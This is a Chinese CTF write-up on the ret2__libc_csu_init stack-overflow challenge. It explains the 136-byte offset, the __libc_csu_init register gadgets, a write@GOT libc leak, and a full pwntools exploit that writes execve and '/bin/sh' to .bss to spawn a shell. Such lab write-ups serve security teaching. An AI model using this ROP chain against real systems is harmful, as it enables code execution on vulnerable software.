libc_scu_init
2018.05.04
V1NKe
 热度
℃
前言:
这是一道ctf wiki上面的一道中级ROP,思路很明确,但是还是有些小坑,比如说write函数上面,还有pwntools函数上面等等…
附件:
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2__libc_csu_init
详解:
0x1:
checksec后发现
64位的程序,只开了NX保护。
程序很简单,就一个read函数:
1 2 3 4 5 6
| void vulnerable_function() { char buf; // [rsp+0h] [rbp-80h]
read(0, &buf, 0x200uLL); }
|
栈溢出无疑。
0x2:
先找偏移地址:
输入地址:
返回值地址:
所以得到偏移为136
0x3:
我们查找一下got函数表
没有system函数,也找不到/bin/sh字符串,所以只能用libc泄漏函数地址来进行利用。我们这里选择用write函数来利用,打印出write_got函数的地址,再去寻找相对应的libc,当然也可以选用__libc_start_main来利用。
0x4:
64位的特点:
在64位程序中,函数的前6个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的gadgets。 这时候,我们可以利用x64下的__libc_scu_init中的gadgets。这个函数是用来对libc进行初始化操作的,而一般的程序都会调用libc函数,所以这个函数一定会存在。我们先来看一下这个函数:
Libc_scu_init利用方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| .text:00000000004005C0 ; void _libc_csu_init(void) .text:00000000004005C0 public __libc_csu_init .text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16↑o .text:00000000004005C0 ; __unwind { .text:00000000004005C0 push r15 .text:00000000004005C2 push r14 .text:00000000004005C4 mov r15d, edi .text:00000000004005C7 push r13 .text:00000000004005C9 push r12 .text:00000000004005CB lea r12, __frame_dummy_init_array_entry .text:00000000004005D2 push rbp .text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry .text:00000000004005DA push rbx .text:00000000004005DB mov r14, rsi .text:00000000004005DE mov r13, rdx .text:00000000004005E1 sub rbp, r12 .text:00000000004005E4 sub rsp, 8 .text:00000000004005E8 sar rbp, 3 .text:00000000004005EC call _init_proc .text:00000000004005F1 test rbp, rbp .text:00000000004005F4 jz short loc_400616 .text:00000000004005F6 xor ebx, ebx .text:00000000004005F8 nop dword ptr [rax+rax+00000000h] .text:0000000000400600 .text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d .text:0000000000400609 call qword ptr [r12+rbx*8] .text:000000000040060D add rbx, 1 .text:0000000000400611 cmp rbx, rbp .text:0000000000400614 jnz short loc_400600 .text:0000000000400616 .text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34↑j .text:0000000000400616 add rsp, 8 .text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15 .text:0000000000400624 retn .text:0000000000400624 ; } // starts at 4005C0 .text:0000000000400624 __libc_csu_init endp
|
- 从0x000000000040061A一直到结尾,我们可以利用栈溢出构造栈上数据来控制rbx,rbp,r12,r13,r14,r15寄存器的数据。
- 从0x0000000000400600到0x0000000000400609,我们可以将r13赋给rdx,将r14赋给rsi,将r15d赋给edi(需要注意的是,虽然这里赋给的是edi,但其实此时rdi的高32位寄存器值为0,所以其实我们可以控制rdi寄存器的值,只不过只能控制低32位),而这三个寄存器,也是x64函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制r12与rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制rbx为0,r12为存储我们想要调用的函数的地址。
- 从0x000000000040060D到0x0000000000400614,我们可以控制rbx与rbp的之间的关系为rbx+1=rbp,这样我们就不会执行loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置rbx=0,rbp=1。
0x5:
利用libc_init来泄漏write函数地址:
1
| playload = 'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(mov_addr) + 'a'*(0x8+8*6) + p64(main_addr)
|
这里要注意的点是调用write函数去泄漏write_got地址的时候不要用write_plt表,而仍然要用write_got。
用write_plt表调用情况:
此时所调用的write_plt地址并不是我们想要的write函数地址
再看看write_got调用情况:
正是我们所想要的write函数地址
查看泄漏出的地址:
为0x7fcf2fd482b0,查询对应的libc:
重新执行main函数,execve写入bss段:
因为这里我没有泄漏出libc表中system函数地址,所以我们这里选用execve函数来拿shell。
前面泄漏出execve地址就不详细说了。
1
| playload1 = 'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(read_got) + p64(16) + p64(bss_addr) + p64(0) + p64(mov_addr) + 'a'*(0x8+8*6) + p64(main_addr)
|
这里选用read函数来写入bss段。再把字符串/bin/sh也写入进去。
1
| p.send(p64(execv_addr)+'/bin/sh\x00')
|
这里面不能直接去使用execve函数的地址去调用它,而是应该把它的地址写入bss段再去使用该bss段地址,详细可以自己动手实验,具体原因我也不得而知。
这里send和senline的区别就是senline自带\n结束。
再次执行main函数,调用execve函数getshell:
1
| playload2 = 'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr + 8) + p64(mov_addr)
|
这里就在所要call的函数地址写上bss段的地址,系统则会调用bss段上的的execve地址。
0x6:
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import *
p = process('./level5') elf = ELF('level5') libc = ELF('libc.so.6')
pop_addr = 0x40061a write_plt = elf.plt['write'] write_got = elf.got['write'] mov_addr = 0x400600 main_addr = elf.symbols['main'] read_got = elf.got['read'] bss_addr = elf.bss()
p.recvuntil('Hello, World\n') playload = 'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(mov_addr) + 'a'*(0x8+8*6) + p64(main_addr) #gdb.attach(p) p.sendline(playload)
write_start = u64(p.recv(8)) print hex(write_start) libc_base = write_start - libc.symbols['write'] execv_addr = libc_base + libc.symbols['execve']
sleep(1) p.recvuntil('Hello, World\n') playload1 = 'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(read_got) + p64(16) + p64(bss_addr) + p64(0) + p64(mov_addr) + 'a'*(0x8+8*6) + p64(main_addr) #gdb.attach(p) p.sendline(playload1) #gdb.attach(p) sleep(1) p.send(p64(execv_addr)+'/bin/sh\x00') #gdb.attach(p)
p.recvuntil('Hello, World\n') playload2 = 'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr + 8) + p64(mov_addr) gdb.attach(p) p.sendline(playload2) p.interactive()
|